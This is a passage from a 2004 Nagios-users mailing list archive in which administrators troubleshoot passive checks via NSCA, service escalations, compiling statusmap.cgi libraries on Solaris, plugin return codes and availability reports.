was, for some reason, called nagios-03-30-2004-23.log I just copied it over the other and all of my log entries were restored and viewable through the cgi. Only weird thing I noticed about yesterdays log was an entry that said: [03-30-2004 22:00:59] Warning: A system time change of 1 seconds (backwards in time) has been detected. Compensating... I've never seen that one before. The nagios server syncs time with one of our domain controllers, by the way. ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 31 16:58:52 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 31 Mar 2004 09:58:52 -0500 Subject: Echo nagios status? In-Reply-To: <1080744167.5072.222.camel@spencer.lssi.net> References: <1080744167.5072.222.camel@spencer.lssi.net> Message-ID: <1080745132.5072.224.camel@spencer.lssi.net> Ah, did not update nag-send. nscd was running. thanks. Spencer On Wed, 2004-03-31 at 09:42, Spencer L Horn wrote: > I have this defined in my remote secondary nagios monitoring box, > > /bin/echo -e "$1\t$2\t$return_code\t$4\n" | > /usr/local/nagios/bin/send_nsca_nagios nagiosw0 -c > /usr/local/nagios/etc/send_nsca.cfg > > which pipes the service check info into the send_nsca program, which in > turn transmits the data to the nsca daemon on the central monitoring > server. > > How do i tell my main server not to activly check these remote services > just recieve status update via nsca? > > maybe nsca is not setup properly. Hmm ill have to check into that, any > other ideas? > > Thanks, > Spencer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 31 17:06:46 2004 From: marc at ena.com (Marc Powell) Date: Wed, 31 Mar 2004 09:06:46 -0600 Subject: Echo nagios status? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A3A4@mismail2.ena.com> Spencer L Horn wrote: > I have this defined in my remote secondary nagios monitoring box, > > /bin/echo -e "$1\t$2\t$return_code\t$4\n" | > /usr/local/nagios/bin/send_nsca_nagios nagiosw0 -c > /usr/local/nagios/etc/send_nsca.cfg > > which pipes the service check info into the send_nsca program, which > in turn transmits the data to the nsca daemon on the central > monitoring server. > > How do i tell my main server not to activly check these remote > services just recieve status update via nsca? On the machine receiving the checks -- active_checks_enabled 0 passive_checks_enabled 1 _or_ active_checks_enabled 1 passive_checks_enabled 1 check_period none Each will yeild the same results but display differently in the web interface. In the former, each service will have a big red X indicating that active checks are disabled. It's not present in the latter. I haven't been able to determine any real functional difference between the two different methods and routinely use the latter example. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mohammad at cerberian.com Wed Mar 31 17:35:54 2004 From: mohammad at cerberian.com (Mohammad Ghaeini) Date: Wed, 31 Mar 2004 08:35:54 -0700 Subject: Return code of 141 is out of bounds Message-ID: <200403310835.54757.mohammad@cerberian.com> Nagios admins, I am looking for the condition when the above message occurs. I could not find any postings with this regard in the archives. Does anybody know under what circumstances Nagios sends the above message. Regards, -M. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From R.Gillman at nerc.ac.uk Wed Mar 31 17:55:50 2004 From: R.Gillman at nerc.ac.uk (Richard Gillman) Date: Wed, 31 Mar 2004 16:55:50 +0100 Subject: statusmap.cgi compiled on Solaris In-Reply-To: References: Message-ID: <406AEA06.3070806@nerc.ac.uk> I had a lot of trouble getting statusmap.cgi to work on a Solaris box. To save others the time it took me, here is how I did it. In short, forget about existing versions of libraries, download png and gd, and install them, png first, then gd, into /usr/local/nagios/lib, and /usr/local/nagios/include. In detail... 1. libpng and libgd My first attempts to run nagios resulted in difficulties with the statusmap.cgi executable. The messages libpng warning: Application was compiled with png.h from libpng-1.0.7 libpng warning: Application is running with png.c from libpng-1.2.1 gd-png: fatal libpng error: Incompatible libpng version in application and library [Wed Mar 31 11:12:45 2004] [error] [client 192.171.172.61] Premature end of script headers: /usr/local/nagios/sbin/statusmap.cgi were appearing in apache error log. It turned out the ?Incompatible libpng version in application and library? message was being generated within libpng, and ?gd-png: fatal libpng error:? within libgd. gd was calling a version of png (I could see this with ldd) which had some internal incompatibility. To overcome this without destabilising the existing libraries, iI decided recompile png, placing it in /usr/local/nagios/lib (and include), and to recompile gd, using the /usr/local/nagios/ version of png in preference to any other. To compile png, cp scripts/makefile.solaris makefile Edit makefile; change the following lines prefix=/usr/local/nagios ZLIBLIB=/nerc/packages/utilities/lib ZLIBINC=/nerc/packages/utilities/include make; make install To compile gd, setenv LDFLAGS "-L/usr/local/nagios/lib -L/nerc/packages/utilities/lib -L/usr/lib -L/nerc/packages/gcc/3.2.2/lib -R/usr/local/nagios/lib -R/nerc/packages/utilities/lib -R/usr/lib -R/nerc/packages/gcc/3.2.2/lib" setenv CPPFLAGS "-I/usr/local/nagios/include -I/nerc/packages/utilities/include -I/usr/include -I/nerc/packages/gcc/3.2.2/include" setenv LD_LIBRARY_PATH "/usr/local/nagios/lib:/nerc/packages/utilities/lib:/usr/lib:/nerc/packages/gcc/3.2.2/lib" setenv LD_RUN_PATH "/usr/local/nagios/lib:/nerc/packages/utilities/lib:/usr/lib:/nerc/packages/gcc/3.2.2/lib" configure --prefix=/usr/local/nagios --with-png-lib=/usr/local/nagios/lib --without-freetype --without-xpm make make install Before the first make, I needed to edit the generated libtool file to give the full path of ranlib (usr/ccs/bin/ranlib). Dick -- Richard Gillman iTSS UNIX Systems Group, Maclean Building, Wallingford OX10 8BB Tel: 01491 - 692 339 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yohann.desquerre at anpe.fr Wed Mar 31 17:53:08 2004 From: yohann.desquerre at anpe.fr (Yohann DESQUERRE (DSI NOISIEL)) Date: Wed, 31 Mar 2004 17:53:08 +0200 Subject: Global escalation service problem Message-ID: Thanks, In fact I would like to known the best practice to have the less escalation definition as possible Regards, -----Message d'origine----- De?: Spencer L Horn [mailto:shorn at lssi.net] Envoy??: mercredi 31 mars 2004 16:01 ??: Yohann DESQUERRE (DSI NOISIEL) Cc?: nagios-users at lists.sourceforge.net Objet?: Re: [Nagios-users] Global escalation service problem My setup is the following.. define serviceescalation{ name production-escalation0 first_notification 4 last_notification 5 notification_interval 15 register 0 } Then it varies on group ie networks, sysadmin, devel, etc defined like this, define serviceescalation{ name servers_production-escalation0 use production-escalation0 contact_groups sysadmins register 0 } this would change slightly for networks devel etc. Make sense? Spencer On Wed, 2004-03-31 at 07:13, Yohann DESQUERRE (DSI NOISIEL) wrote: > Hi all, > > I'd like to declare a global service definition as that: > > > define serviceescalation{ > host_name wings > service_description * > first_notification 3 > last_notification 4 > contact_groups redcon-0 > notification_interval 0 > } > > Or that : > > > define serviceescalation{ > host_name * > service_description * > first_notification 3 > last_notification 4 > contact_groups redcon-0 > notification_interval 0 > } > > Running configuration check.../etc/init.d/nagios: line 167: 17741 > Segmentation fault $NagiosBin -v $NagiosCfg >/dev/null 2>&1 > > Nagios 1.1 > Copyright (c) 1999-2003 Ethan Galstad (nagios at nagios.org) > Last Modified: 06-02-2003 > License: GPL > > Reading configuration data... > > /etc/init.d/nagios: line 167: 17742 Segmentation fault $NagiosBin > -v $NagiosCfg > Failed - aborting restart. > ...and I've got this message : > " > > > Any ideas???? > > > Thanks for help!!! > > ----------------------------------------------- > Yohann Desquerre > "Plateforme ANPE.FR" > S/Direction de la production > Gestion des Ressources > ----------------------------------------------- > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&opk > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Wed Mar 31 18:21:02 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Wed, 31 Mar 2004 09:21:02 -0700 Subject: Nagios plugin to monitor RAM on Solaris 8 box Message-ID: Hello, How do I monitor RAM usage on Solaris * box? Is there a plugin available that I could use? Any help is appreciated. Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 31 18:27:32 2004 From: marc at ena.com (Marc Powell) Date: Wed, 31 Mar 2004 10:27:32 -0600 Subject: Return code of 141 is out of bounds Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A3A6@mismail2.ena.com> On Wednesday, March 31, 2004 9:36 AM, Mohammad Ghaeini shared with us: > Nagios admins, > > I am looking for the condition when the above message occurs. I > could not find any postings with this regard in the archives. > > Does anybody know under what circumstances Nagios sends the above > message. Try running the plugin, whichever it is, from the command line as the nagios user exactly as it would be called from Nagios. That may provide you with more information. If not, we'll need to know what plugin it is, how it's being called, service and host definitions, nagios and plugin versions, etc. As with any problem, as much supporting information as possible will be helpful. 141 is an unusual return code and may be the result of the plugin getting a bad response from a dependent program but there isn't enough information provided to determine that with any degree of certainty. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 31 19:01:39 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 31 Mar 2004 18:01:39 +0100 Subject: Nagios Process In-Reply-To: <707BC118BC44D3118E3B0000F81F1E7603F22E2C@VHAKANEXC1> References: <707BC118BC44D3118E3B0000F81F1E7603F22E2C@VHAKANEXC1> Message-ID: <20040331170139.25785.qmail@minnow.softflare.net> Daniel.Mesimer at med.va.gov writes: > Day '31' out of range in 1..30 at ./check_nagios line 38 Which tells you exactly what the problem is. Somebody has defined valid day numbers as being from 1 to 30. Look in the script for occurrences of "30." > Or is this an issue with my server's time? Yes, your server has the temerity to think that some months have 31 days in them... Either that or whoever wrote the script did some very crude sanity-checking and you'll probably find that it would be perfectly happy to see February 30th (and to see February 29th in years which aren't leap years). -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 31 19:24:13 2004 From: marc at ena.com (Marc Powell) Date: Wed, 31 Mar 2004 11:24:13 -0600 Subject: host, no service Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A3A9@mismail2.ena.com> On Tuesday, March 30, 2004 8:26 AM, Robert Nelson shared with us: > > Actually, I think you misunderstood his question. The correct > > answer is "Whenever a service check on that host fails". It makes > > not difference to nagios whether the results of that failed > > service check came from an active or passive check. > > Host checks only occur when ALL service checks fail, not when ANY > fail, correct? No, to the best of my knowledge, there is no service status correlation that happens. If any single service fails on a host, a host check is initiated unless the last check of a host showed it being down or unreachable (my interpretation of checks.c and I'm not a programmer ;) ). You could of course test this fairly easily if it's that important to you. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From teng at dataway.com Wed Mar 31 20:09:12 2004 From: teng at dataway.com (Tedman Eng) Date: Wed, 31 Mar 2004 10:09:12 -0800 Subject: Availability values explanation - help Message-ID: <37ED92F9890FAF4BB947613C66FF8B1AFC71D0@dw-mail.dataway.com> That's my understanding as well. The "Undermined Time" will drop if you set a "First Assumed State". And the remaining (.101%) is because the nagios process was not running. TIME OK TIME WARNING TIME UNKNOWN TIME CRITICAL UNDET PING 61.190%(99.899%) 0.044%(0.071%) 0.000%(0.000%) 0.018%(0.030%) 38.749% The > -----Original Message----- > From: Tiago Filipe Carvalho [mailto:tiago-f-carvalho at telecom.pt] > Sent: Wednesday, March 31, 2004 2:29 AM > To: verdon at cict.fr; Neil > Cc: nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] Availability values explanation - help > > > I think it represents the percentage of time for each state > (ok, warning, etc) when the undetermined state time isn't considered. > > Best regards, > > Tiago Filipe R. de Carvalho > (tiago-f-carvalho at telecom.pt) > > PT Comunica??es - DSI/EQT > Engenharia e Qualidade T?cnica > Av. Duque de Loul?, 12, 3? Piso > Tlf. + 351 21 501 2142 > > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of carole verdon > Sent: 31-03-2004 10:58 > To: Neil > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Availability values explanation - help > > > I put myself the same question. > > Can someone give the explanation, please? > > Carole. > > Neil wrote: > > > Hey guys, > > I copy+paste the information below from AVAILABILITY. > > wwww424 > > TIME OK TIME WARNING TIME UNKNOWN TIME > CRITICAL UNDET > > PING 61.190%(99.899%) 0.044%(0.071%) 0.000%(0.000%) 0.018%(0.030%) > > 38.749% > > SSLCert 61.233%(99.971%) 0.000%(0.000%) 0.000%(0.000%) > 0.018%(0.029%) > > 38.749% > > Web 60.018%(100.000%) 0.000%(0.000%) 0.000%(0.000%) 0.000%(0.000%) > > 39.982% > > My question is in the number inside the parenthesis. Can someone > > explain to me what number inside the parenthesis mean? > > Or better, can some explain 61.190%(99.899%) in TIME OK for my PING > > service? > > Thanks. > > Neil > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President > and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > > reporting any issue. ::: Messages without supporting info will risk > > being sent to /dev/null > > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President > and CEO of GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 31 20:20:36 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 31 Mar 2004 19:20:36 +0100 Subject: Echo nagios status? In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A3A4@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A3A4@mismail2.ena.com> Message-ID: <20040331182036.10685.qmail@minnow.softflare.net> Marc Powell writes: > Each will yeild the same results but display differently in the web > interface. In the former, each service will have a big red X Looks like a P to me on the status displays. > I haven't been able to determine any real functional difference between > the two different methods and routinely use the latter example. As I recall if the check goes stale then Nagios will try to perform an the active check that you defined. This is useful if you want distributed monitoring to take the load off the central monitor but want the central machine to take over if one of your distributed monitors goes down. If the reason you have a machine submitting passive checks is because an intervening firewall won't let you do active checks then you don't want active checks enabled unless you want misleading error mesages. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From teng at dataway.com Wed Mar 31 20:17:59 2004 From: teng at dataway.com (Tedman Eng) Date: Wed, 31 Mar 2004 10:17:59 -0800 Subject: Return code of 141 is out of bounds Message-ID: <37ED92F9890FAF4BB947613C66FF8B1AFC71D1@dw-mail.dataway.com> That message is the output from a specific plugin. Please post to the list the following information: which plugin, plugin version, the service definition, check command definition. > -----Original Message----- > From: Mohammad Ghaeini [mailto:mohammad at cerberian.com] > Sent: Wednesday, March 31, 2004 7:36 AM > To: nagios-users > Subject: [Nagios-users] Return code of 141 is out of bounds > > > Nagios admins, > > I am looking for the condition when the above message occurs. > I could not > find any postings with this regard in the archives. > > Does anybody know under what circumstances Nagios sends the > above message. > > Regards, > > -M. > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rvinas at emlab.com Wed Mar 31 20:51:14 2004 From: rvinas at emlab.com (Randy Vinas) Date: Wed, 31 Mar 2004 10:51:14 -0800 Subject: Tweaking scan results Message-ID: <406B1322.70205@emlab.com> The scan results include a lot of information and we'd like to trim this down, where is this configured? The scan results are categorized as vulnerabilities, warnings & informational. How would we turn off the informational stuff? Thanks in advance for any help on this. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 31 20:58:52 2004 From: marc at ena.com (Marc Powell) Date: Wed, 31 Mar 2004 12:58:52 -0600 Subject: Echo nagios status? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A3AB@mismail2.ena.com> On Wednesday, March 31, 2004 12:21 PM, Paul L. Allen shared with us: > Marc Powell writes: > > I haven't been able to determine any real functional difference > > between the two different methods and routinely use the latter > > example. > > As I recall if the check goes stale then Nagios will try to perform > an the active check that you defined. This is useful if you want > distributed monitoring to take the load off the central monitor but > want the central machine to take over if one of your distributed > monitors goes down. Presuming freshness checking is enabled... Also from the documentation on freshness checking "It is important to note that an active service check which is being forced because the service was detected as being "stale" gets executed even if active service checks are disabled on a program-wide or service-specific basis." This means that in addition to implementing either one of my suggestions, he would also need to disable freshness checking if he has it enabled to fully resolve his question. Thanks for pointing that out. The documentation is unclear as to whether freshness checking also ignores the time_period directive as well so my examples may still work as provided with it enabled. > > If the reason you have a machine submitting passive checks is because > an intervening firewall won't let you do active checks then you don't > want active checks enabled unless you want misleading error mesages. This seems to me to be irrelevant. He already recognizes that in his situation, active checks from Nagios aren't acceptable to him and the desired solution is the same either way. Also, there is no stipulation that the check_command on the central Nagios box must be the same as on the distributed machine or whatever is submitting the results. The only two pieces of information that must match are the host_name and service_description. If you were to see 'misleading error messages' because of this then I would say the installation wasn't thought through or implemented very well. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 31 21:08:28 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 31 Mar 2004 14:08:28 -0500 Subject: Echo nagios status? In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A3AB@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A3AB@mismail2.ena.com> Message-ID: <1080760108.5072.288.camel@spencer.lssi.net> Thank you all for your help, I now have the bulk of it working tho i still need to modify how my central server handles stale checks. Thanks again, Spencer On Wed, 2004-03-31 at 13:58, Marc Powell wrote: > On Wednesday, March 31, 2004 12:21 PM, Paul L. Allen shared with us: > > > Marc Powell writes: > > > > I haven't been able to determine any real functional difference > > > between the two different methods and routinely use the latter > > > example. > > > > As I recall if the check goes stale then Nagios will try to perform > > an the active check that you defined. This is useful if you want > > distributed monitoring to take the load off the central monitor but > > want the central machine to take over if one of your distributed > > monitors goes down. > > Presuming freshness checking is enabled... Also from the documentation > on freshness checking "It is important to note that an active service > check which is being forced because the service was detected as being > "stale" gets executed even if active service checks are disabled on a > program-wide or service-specific basis." This means that in addition to > implementing either one of my suggestions, he would also need to disable > freshness checking if he has it enabled to fully resolve his question. > Thanks for pointing that out. The documentation is unclear as to whether > freshness checking also ignores the time_period directive as well so my > examples may still work as provided with it enabled. > > > > > If the reason you have a machine submitting passive checks is because > > an intervening firewall won't let you do active checks then you don't > > want active checks enabled unless you want misleading error mesages. > > This seems to me to be irrelevant. He already recognizes that in his > situation, active checks from Nagios aren't acceptable to him and the > desired solution is the same either way. Also, there is no stipulation > that the check_command on the central Nagios box must be the same as on > the distributed machine or whatever is submitting the results. The only > two pieces of information that must match are the host_name and > service_description. If you were to see 'misleading error messages' > because of this then I would say the installation wasn't thought through > or implemented very well. > > -- > Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Wed Mar 31 21:05:41 2004 From: jrhett at isite.net (Joe Rhett) Date: Wed, 31 Mar 2004 11:05:41 -0800 Subject: host, no service In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A3A9@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A3A9@mismail2.ena.com> Message-ID: <20040331190541.GA11936@isite.net> On Wed, Mar 31, 2004 at 11:24:13AM -0600, Marc Powell wrote: > On Tuesday, March 30, 2004 8:26 AM, Robert Nelson shared with us: > > Host checks only occur when ALL service checks fail, not when ANY > > fail, correct? > > No, to the best of my knowledge, there is no service status correlation > that happens. If any single service fails on a host, a host check is > initiated unless the last check of a host showed it being down or > unreachable (my interpretation of checks.c and I'm not a programmer ;) > ). You could of course test this fairly easily if it's that important to > you. When any one service check fails, a host check is scheduled. The host check is done before any more service checks, to avoid lots of service checks which fail. This is all very well documented, why is nobody reading the docs? -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 31 22:02:04 2004 From: marc at ena.com (Marc Powell) Date: Wed, 31 Mar 2004 14:02:04 -0600 Subject: Tweaking scan results Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A3AC@mismail2.ena.com> On Wednesday, March 31, 2004 12:51 PM, Randy Vinas shared with us: > The scan results include a lot of information and we'd like to trim > this down, where is this configured? The scan results are > categorized as vulnerabilities, warnings & informational. How would > we turn off the informational stuff? Thanks in advance for any help > on this. Umm. Is this a Nagios question? What scan results? What information? It sounds like you're talking about an IDS, not Nagios, unless they've somehow been integrated together. If the latter is the case, you'll have to look at whatever is feeding the results to Nagios as that configuration is almost certainly specific to you. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From teng at dataway.com Wed Mar 31 22:44:13 2004 From: teng at dataway.com (Tedman Eng) Date: Wed, 31 Mar 2004 12:44:13 -0800 Subject: Tweaking scan results Message-ID: <37ED92F9890FAF4BB947613C66FF8B1AFC71D2@dw-mail.dataway.com> I beleive you are looking for the nessus list: mailto:nessus at 